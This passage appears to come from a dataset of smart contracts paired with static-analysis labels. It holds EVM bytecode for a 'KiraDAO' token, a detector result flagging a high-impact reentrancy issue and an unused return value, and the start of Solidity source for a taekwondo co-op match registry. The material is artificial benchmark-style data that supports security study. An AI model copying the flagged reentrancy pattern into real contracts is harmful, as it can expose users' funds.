10390f35b60606040518060400160405280600781526020017f4b69726144414f00000000000000000000000000000000000000000000000000815250905090565b6000610530610529611712565b848461171a565b6001905092915050565b610542611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c690612f27565b60405180910390fd5b600f5483856105de9190612f76565b11156105e957600080fd5b60105481836105f89190612f76565b111561060357600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000683635c9adc5dea00000905090565b61064a611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612f27565b60405180910390fd5b60005b81518110156108a0573073ffffffffffffffffffffffffffffffffffffffff1682828151811061070d5761070c612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107a15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107805761077f612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108155750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107f4576107f3612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561088d5760016007600084848151811061083357610832612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061089890612ffb565b9150506106da565b5050565b60006108b18484846118e3565b610972846108bd611712565b61096d8560405180606001604052806028815260200161384c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610923611712565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e899092919063ffffffff16565b61171a565b600190509392505050565b610985611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990612f27565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab7611712565b73ffffffffffffffffffffffffffffffffffffffff1614610ad757600080fd5b6031811115610ae557600080fd5b8060128190555050565b610af7611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90612f27565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610ba9611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2d90612f27565b60405180910390fd5b60008111610c4357600080fd5b610c726064610c6483683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60158190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbc611712565b73ffffffffffffffffffffffffffffffffffffffff1614610cdc57600080fd5b6000479050610cea81611fb1565b50565b6000610d37600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201d565b9050919050565b610d46611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dca90612f27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e99611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1d90612f27565b60405180910390fd5b683635c9adc5dea00000601581905550683635c9adc5dea00000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f244b495241000000000000000000000000000000000000000000000000000000815250905090565b6000610fc2610fbb611712565b84846118e3565b6001905092915050565b610fd4611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611061576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105890612f27565b60405180910390fd5b6000811161106e57600080fd5b61109d606461108f83683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60168190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e7611712565b73ffffffffffffffffffffffffffffffffffffffff161461110757600080fd5b600061111230610ced565b905061111d8161208b565b50565b611128611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ac90612f27565b60405180910390fd5b60148054906101000a900460ff1615611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa9061308f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061129330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061171a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130291906130c4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611369573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138d91906130c4565b6040518363ffffffff1660e01b81526004016113aa9291906130f1565b6020604051808303816000875af11580156113c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ed91906130c4565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061147630610ced565b600080611481610f48565b426040518863ffffffff1660e01b81526004016114a39695949392919061315f565b60606040518083038185885af11580156114c1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114e691906131d5565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff02191690831515021790555061154f60646115416001683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60158190555061158560646115776002683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611644929190613228565b6020604051808303816000875af1158015611663573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116879190613266565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611789576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178090613305565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ef90613397565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118d69190612b88565b60405180910390a3505050565b60008111611926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191d90613429565b60405180910390fd5b6001601460186101000a81548160ff021916908315150217905550611949610f48565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b75750611987610f48565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e7957601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a675750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611abd5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ad55750601460179054906101000a900460ff165b15611b4257601554811115611ae957600080fd5b60165481611af684610ced565b611b009190612f76565b1115611b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3890613495565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bea5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c435750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d1157600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cec5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cf557600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611d1c30610ced565b9050611d706064611d62601254611d54601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ced565b611eed90919063ffffffff16565b611f6790919063ffffffff16565b811115611dcc57611dc96064611dbb601254611dad601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ced565b611eed90919063ffffffff16565b611f6790919063ffffffff16565b90505b601460159054906101000a900460ff16158015611e375750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e4f5750601460169054906101000a900460ff165b15611e7757611e5d8161208b565b60004790506000811115611e7557611e7447611fb1565b5b505b505b611e84838383612304565b505050565b6000838311158290611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec891906129d2565b60405180910390fd5b5060008385611ee091906134b5565b9050809150509392505050565b6000808303611eff5760009050611f61565b60008284611f0d91906134e9565b9050828482611f1c9190613572565b14611f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5390613615565b60405180910390fd5b809150505b92915050565b6000611fa983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612314565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612019573d6000803e3d6000fd5b5050565b6000600954821115612064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205b906136a7565b60405180910390fd5b600061206e612377565b90506120838184611f6790919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120c3576120c2612ba8565b5b6040519080825280602002602001820160405280156120f15781602001602082028036833780820191505090505b509050308160008151811061210957612108612fcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121d491906130c4565b816001815181106121e8576121e7612fcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061224f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461171a565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122b3959493929190613785565b600060405180830381600087803b1580156122cd57600080fd5b505af11580156122e1573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b61230f8383836123a2565b505050565b6000808311829061235b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235291906129d2565b60405180910390fd5b506000838561236a9190613572565b9050809150509392505050565b600080600061238461256d565b9150915061239b8183611f6790919063ffffffff16565b9250505090565b6000806000806000806123b4876125cf565b95509550955095509550955061241286600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266490919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124a785600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ae90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f38161270c565b6124fd84836127c9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161255a9190612b88565b60405180910390a3505050505050505050565b600080600060095490506000683635c9adc5dea0000090506125a3683635c9adc5dea00000600954611f6790919063ffffffff16565b8210156125c257600954683635c9adc5dea000009350935050506125cb565b81819350935050505b9091565b60008060008060008060008060006125e5612803565b612603576125fe8a600b60020154600b6003015461281a565b612619565b6126188a600b60000154600b6001015461281a565b5b9250925092506000612629612377565b9050600080600061263c8e8787876128b0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e89565b905092915050565b60008082846126bd9190612f76565b905083811015612702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f99061382b565b60405180910390fd5b8091505092915050565b6000612716612377565b9050600061272d8284611eed90919063ffffffff16565b905061278181600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ae90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127de8260095461266490919063ffffffff16565b6009819055506127f981600a546126ae90919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b6000806000806128466064612838888a611eed90919063ffffffff16565b611f6790919063ffffffff16565b905060006128706064612862888b611eed90919063ffffffff16565b611f6790919063ffffffff16565b905060006128998261288b858c61266490919063ffffffff16565b61266490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128c98589611eed90919063ffffffff16565b905060006128e08689611eed90919063ffffffff16565b905060006128f78789611eed90919063ffffffff16565b9050600061292082612912858761266490919063ffffffff16565b61266490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612973578082015181840152602081019050612958565b83811115612982576000848401525b50505050565b6000601f19601f8301169050919050565b60006129a482612939565b6129ae8185612944565b93506129be818560208601612955565b6129c781612988565b840191505092915050565b600060208201905081810360008301526129ec8184612999565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a3382612a08565b9050919050565b612a4381612a28565b8114612a4e57600080fd5b50565b600081359050612a6081612a3a565b92915050565b6000819050919050565b612a7981612a66565b8114612a8457600080fd5b50565b600081359050612a9681612a70565b92915050565b60008060408385031215612ab357612ab26129fe565b5b6000612ac185828601612a51565b9250506020612ad285828601612a87565b9150509250929050565b60008115159050919050565b612af181612adc565b82525050565b6000602082019050612b0c6000830184612ae8565b92915050565b60008060008060808587031215612b2c57612b2b6129fe565b5b6000612b3a87828801612a87565b9450506020612b4b87828801612a87565b9350506040612b5c87828801612a87565b9250506060612b6d87828801612a87565b91505092959194509250565b612b8281612a66565b82525050565b6000602082019050612b9d6000830184612b79565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612be082612988565b810181811067ffffffffffffffff82111715612bff57612bfe612ba8565b5b80604052505050565b6000612c126129f4565b9050612c1e8282612bd7565b919050565b600067ffffffffffffffff821115612c3e57612c3d612ba8565b5b602082029050602081019050919050565b600080fd5b6000612c67612c6284612c23565b612c08565b90508083825260208201905060208402830185811115612c8a57612c89612c4f565b5b835b81811015612cb35780612c9f8882612a51565b845260208401935050602081019050612c8c565b5050509392505050565b600082601f830112612cd257612cd1612ba3565b5b8135612ce2848260208601612c54565b91505092915050565b600060208284031215612d0157612d006129fe565b5b600082013567ffffffffffffffff811115612d1f57612d1e612a03565b5b612d2b84828501612cbd565b91505092915050565b600080600060608486031215612d4d57612d4c6129fe565b5b6000612d5b86828701612a51565b9350506020612d6c86828701612a51565b9250506040612d7d86828701612a87565b9150509250925092565b600060208284031215612d9d57612d9c6129fe565b5b6000612dab84828501612a51565b91505092915050565b600060ff82169050919050565b612dca81612db4565b82525050565b6000602082019050612de56000830184612dc1565b92915050565b600060208284031215612e0157612e006129fe565b5b6000612e0f84828501612a87565b91505092915050565b612e2181612adc565b8114612e2c57600080fd5b50565b600081359050612e3e81612e18565b92915050565b600060208284031215612e5a57612e596129fe565b5b6000612e6884828501612e2f565b91505092915050565b612e7a81612a28565b82525050565b6000602082019050612e956000830184612e71565b92915050565b60008060408385031215612eb257612eb16129fe565b5b6000612ec085828601612a51565b9250506020612ed185828601612a51565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f11602083612944565b9150612f1c82612edb565b602082019050919050565b60006020820190508181036000830152612f4081612f04565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f8182612a66565b9150612f8c83612a66565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fc157612fc0612f47565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061300682612a66565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361303857613037612f47565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613079601783612944565b915061308482613043565b602082019050919050565b600060208201905081810360008301526130a88161306c565b9050919050565b6000815190506130be81612a3a565b92915050565b6000602082840312156130da576130d96129fe565b5b60006130e8848285016130af565b91505092915050565b60006040820190506131066000830185612e71565b6131136020830184612e71565b9392505050565b6000819050919050565b6000819050919050565b600061314961314461313f8461311a565b613124565b612a66565b9050919050565b6131598161312e565b82525050565b600060c0820190506131746000830189612e71565b6131816020830188612b79565b61318e6040830187613150565b61319b6060830186613150565b6131a86080830185612e71565b6131b560a0830184612b79565b979650505050505050565b6000815190506131cf81612a70565b92915050565b6000806000606084860312156131ee576131ed6129fe565b5b60006131fc868287016131c0565b935050602061320d868287016131c0565b925050604061321e868287016131c0565b9150509250925092565b600060408201905061323d6000830185612e71565b61324a6020830184612b79565b9392505050565b60008151905061326081612e18565b92915050565b60006020828403121561327c5761327b6129fe565b5b600061328a84828501613251565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132ef602483612944565b91506132fa82613293565b604082019050919050565b6000602082019050818103600083015261331e816132e2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613381602283612944565b915061338c82613325565b604082019050919050565b600060208201905081810360008301526133b081613374565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613413602983612944565b915061341e826133b7565b604082019050919050565b6000602082019050818103600083015261344281613406565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061347f601a83612944565b915061348a82613449565b602082019050919050565b600060208201905081810360008301526134ae81613472565b9050919050565b60006134c082612a66565b91506134cb83612a66565b9250828210156134de576134dd612f47565b5b828203905092915050565b60006134f482612a66565b91506134ff83612a66565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561353857613537612f47565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061357d82612a66565b915061358883612a66565b92508261359857613597613543565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135ff602183612944565b915061360a826135a3565b604082019050919050565b6000602082019050818103600083015261362e816135f2565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613691602a83612944565b915061369c82613635565b604082019050919050565b600060208201905081810360008301526136c081613684565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136fc81612a28565b82525050565b600061370e83836136f3565b60208301905092915050565b6000602082019050919050565b6000613732826136c7565b61373c81856136d2565b9350613747836136e3565b8060005b8381101561377857815161375f8882613702565b975061376a8361371a565b92505060018101905061374b565b5085935050505092915050565b600060a08201905061379a6000830188612b79565b6137a76020830187613150565b81810360408301526137b98186613727565b90506137c86060830185612e71565b6137d56080830184612b79565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613815601b83612944565b9150613820826137df565b602082019050919050565b6000602082019050818103600083015261384481613808565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f1971c30ccadadd0a6b63c37370b6b76820777d844fc597d00d9bcff4195c6b464736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,277
0x3f71d9f4938b7dd01021e1634101f998725227ce
/** *Submitted for verification at Etherscan.io on 2021-02-04 */ //Audit report available at https://www.tkd-coop.com/files/audit.pdf //SPDX-License-Identifier: MIT pragma solidity ^0.7.0; //Control who can access various functions. contract AccessControl { address payable public creatorAddress; mapping (address => bool) public admins; modifier onlyCREATOR() { require(msg.sender == creatorAddress, "You are not the creator of this contract"); _; } modifier onlyADMINS() { require(admins[msg.sender] == true); _; } // Constructor constructor() { creatorAddress = 0x813dd04A76A716634968822f4D30Dfe359641194; } //Admins are contracts or addresses that have write access function addAdmin(address _newAdmin) onlyCREATOR public { if (admins[_newAdmin] == false) { admins[_newAdmin] = true; } } function removeAdmin(address _oldAdmin) onlyCREATOR public { if (admins[_oldAdmin] == true) { admins[_oldAdmin] = false; } } } //Interface to TAC Contract abstract contract ITAC { function awardTAC(address winner, address loser, address referee) public virtual; function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool); function balanceOf(address account) external virtual view returns (uint256); } contract CoopData is AccessControl { /////////////////////////////////////////////////DATA STRUCTURES AND GLOBAL VARIABLES /////////////////////////////////////////////////////////////////////// uint256 public numUsers = 0; //total number of user profiles, independent of number of addresses with balances uint64 public numMatches = 0; //total number of matches recorded uint16 public numEvents = 0; //number of events created uint256 public eventHostingCost = 100000000000000000000; //cost to host an event in Hwangs. //Main data structure to hold info about an athlete struct User { address userAddress; //since the address is unique this also serves as their id. uint8 allowedMatches; uint64[] matches; uint64[] proposedMatches; uint64[] approvedMatches; } //Main data structure to hold info about an event struct Event { address promoter; //the person who holds the tournament string eventName; uint64 time; uint64 eventId; uint16 allowedMatches; } // Main data structure to hold info about a match struct Match { uint64 id; address winner; //address (id) of the athlete who won uint8 winnerPoints; address loser; //address (id) of the athlete who lost uint8 loserPoints; address referee; //Who recorded the match bool loserVerified; bool winnerVerified; uint64 time; string notes; } // Main mapping storing an Match record for each match id. Match[] public allMatches; Match[] public proposedMatches; Event[] allEvents; address[] public allUsersById; // Main mapping storing an athlete record for each address. mapping(address => User) public allUsers; // Mapping storing which users are authorized to act as staff for which event. // A user can only be authorized for one event at a time mapping(address => uint64) public tournamentStaff; //A list of all proposed matches to be used as ID. uint64 public numProposedMatches = 0; bool public requireMembership = true; address public TACContract = 0xABa8ace37f301E7a3A3FaD44682C8Ec8DC2BD18A; //The amount of Hwangs required to spar a match. uint public matchCost = 10000000000000000000; /////////////////////////////////////////////////////////CONTRACT CONTROL FUNCTIONS ////////////////////////////////////////////////// function changeParameters(uint256 _eventHostingCost, address _TACContract, uint _matchCost, bool _requireMembership) external onlyCREATOR { eventHostingCost = _eventHostingCost; TACContract = _TACContract; matchCost = _matchCost; requireMembership = _requireMembership; } function getParameters() external view returns (uint256 _eventHostingCost) { _eventHostingCost = eventHostingCost; } /////////////////////////////////////////////////////////USER INFO FUNCTIONS ////////////////////////////////////////////////// //function which sets information for the address which submitted the transaction. function setUser() public { bool zeroMatches = false; if (allUsers[msg.sender].userAddress == address(0)) { //new user so add to number of users numUsers ++; allUsersById.push(msg.sender); zeroMatches = true; } User storage user = allUsers[msg.sender]; user.userAddress = msg.sender; if (zeroMatches == true) { user.allowedMatches = 0; } } //Function which specifies how many matches a user has left. //Only coop members have approved matches and only referees need them. //Set 0 to remove a user's ability to record matches. function setUserAllowedMatches(address user, uint8 newApprovalNumber) public onlyADMINS { allUsers[user].allowedMatches = newApprovalNumber; } //Function which returns user information for the specified address. function getUser(address _address) public view returns(address userAddress, uint64[] memory matches, uint8 allowedMatches) { User storage user = allUsers[_address]; userAddress = user.userAddress; matches = user.matches; allowedMatches = user.allowedMatches; } //Function which returns user information for the specified address. function getUserMatches(address _address) public view returns(uint64[] memory _proposedMatches, uint64[] memory approvedMatches) { User storage user = allUsers[_address]; _proposedMatches = user.proposedMatches; approvedMatches = user.approvedMatches; } function getUserMatchNumber(address _address) public view returns (uint256) { return allUsers[_address].approvedMatches.length; } /////////////////////////////////////////////////////////MATCH FUNCTIONS ////////////////////////////////////////////////// function proposeMatch(address _winner, uint8 _winnerPoints, address _loser, uint8 _loserPoints, address _referee, string memory _notes) public { require((allUsers[_referee].allowedMatches > 0 || requireMembership == false), "Members must have available allowed matches"); require(msg.sender == _referee, "The referee must record the match"); require((_winner != _loser) && (_winner != _referee) && (_loser != _referee), "The only true battle is against yourself, but can't count it here."); require(allUsers[_winner].userAddress != address(0), "User is not yet registered"); require(allUsers[_loser].userAddress != address(0), "User is not yet registered"); //Decrement the referee's match allowance if (requireMembership == true) { allUsers[_referee].allowedMatches -= 1; } // Create the proposed match Match memory proposedMatch; proposedMatch.id = numProposedMatches; proposedMatch.winner = _winner; proposedMatch.winnerPoints = _winnerPoints; proposedMatch.loser = _loser; proposedMatch.loserPoints = _loserPoints; proposedMatch.referee = _referee; proposedMatch.loserVerified = false; proposedMatch.winnerVerified = false; proposedMatch.time = uint64 (block.timestamp); proposedMatch.notes = _notes; numProposedMatches ++; // Add it to the list of each person as well as the overall list. proposedMatches.push(proposedMatch); allUsers[_winner].proposedMatches.push(proposedMatch.id); allUsers[_loser].proposedMatches.push(proposedMatch.id); allUsers[_referee].proposedMatches.push(proposedMatch.id); } function overwriteMatch(uint64 id, address _winner, uint8 _winnerPoints, address _loser, uint8 _loserPoints, string memory _notes) public { // The referee only can overwrite matches require(proposedMatches[id].referee == msg.sender, "Only the referee may overwrite a match"); // Matches can only be overwritten before they have been approved by both athletes require(proposedMatches[id].winnerVerified == false || proposedMatches[id].loserVerified == false, "This match has already been finalized"); // Each participant can have only one role. require((_winner != _loser) && (_winner != msg.sender) && (_loser != msg.sender), "The only true battle is against yourself, but can't count it here."); // Reset the athlete approvals since the result has changed. proposedMatches[id].winnerVerified = false; proposedMatches[id].loserVerified = false; require(allUsers[_winner].userAddress != address(0), "User is not yet registered"); require(allUsers[_loser].userAddress != address(0), "User is not yet registered"); //Push to 